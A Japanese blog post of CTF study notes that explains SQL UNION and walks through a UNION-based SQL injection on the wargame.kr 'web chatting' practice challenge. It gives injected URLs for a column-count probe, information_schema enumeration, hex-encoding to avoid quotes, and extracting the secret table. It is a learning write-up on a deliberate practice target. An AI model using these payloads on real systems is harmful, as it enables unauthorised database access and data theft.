アイジア

CTF, 情報セキュリティの学んだことメモ

union文を使ったSQLインジェクションを試す (wargame.kr web chatting, )

union文とは

union文とは複数のselect文の結果を統合するSQL文です。
union文の例:
f:id:favoritte15:20190906091442p:plain
「select 1,2」の結果の下に「select 3,4」の結果を付け足すのがunion文です。
f:id:favoritte15:20190906091620p:plain
データベースは列の数をそろえなければならないので指定するカラム数は同じでなければなりません。

union文を使ったSQLi

http://wargame.kr:8080/web_chatting/chat.php

wargame.krの問題を使ってSQLインジェクションを試してみます。
f:id:favoritte15:20190906091915p:plain
ログインするとチャット画面に移動し、下の入力から任意の文字を書き込めます。chromeの検証->networkを使用して書き込む際のネットワークパケットを観察すると、「chatview.php」と「chatlog.php」にアクセスしていることがわかります。
f:id:favoritte15:20190906092132p:plain
chatview.phpでは今まで自分が書き込んだ文字が表示されます。
chatview.phpのGETパラメータにsqlインジェクションを試してみます。
chatview.php?t=1&nil=53351 or 1=1 --
f:id:favoritte15:20190906092336p:plain
すると今までにchatに書き込まれた文字が一覧表示されました。ここから攻撃を仕掛けられそうです。以下のように入力します。
chatview.php?t=1&ni=53351%20union%20select%201,2,3,4,5%20--
f:id:favoritte15:20190906092749p:plain
すると最後のほうにunionでつなげた値を表示させることができました。カラムの 2列目は名前、3列目は書き込んだ内容、5列目にはIPアドレスが格納されているようです。
infomation.schemaテーブルを利用してまずはデータベースのテーブル名を全て調べます。
chatview.php?t=1&ni=53351%20union%20select%201,table_name,3,4,5 from information_schema.tables%20--
information.schemaにはデータベースの構成情報が含まれており、information.schema.tablesのtable__nameにはテーブル名の一覧が格納されています。
f:id:favoritte15:20190906093303p:plain
「chat_log_secret」という怪しいテーブルを見つけました。ここにフラグがありそうです。chat_log_secretのカラム名を調べたい場合、以下のように入力します。
chatview.php?t=1&ni=53351%20union%20select%201,column_name,3,4,5 from information_schema.columns where table_name="chat_log_secret"%20--
しかし攻撃文に「"」や「'」を入れてしまうとエラーが起きてしまいます。なので文字列はasciiコードに変換します。
chatview.php?t=1&ni=53351 union select 1,column_name,3,4,5 from information_schema.columns where table_name=0x636861745f6c6f675f736563726574 --
f:id:favoritte15:20190906094806p:plain
うまくいきました。テーブル名とカラム名がわかったのであとはその情報を抜き出すだけです。
chatview.php?t=1&ni=53351 union select 1,readme,3,4,5%20from chat_log_secret --

類題

websec.fr
SQLiteはinformation.schemaではなくsql_master。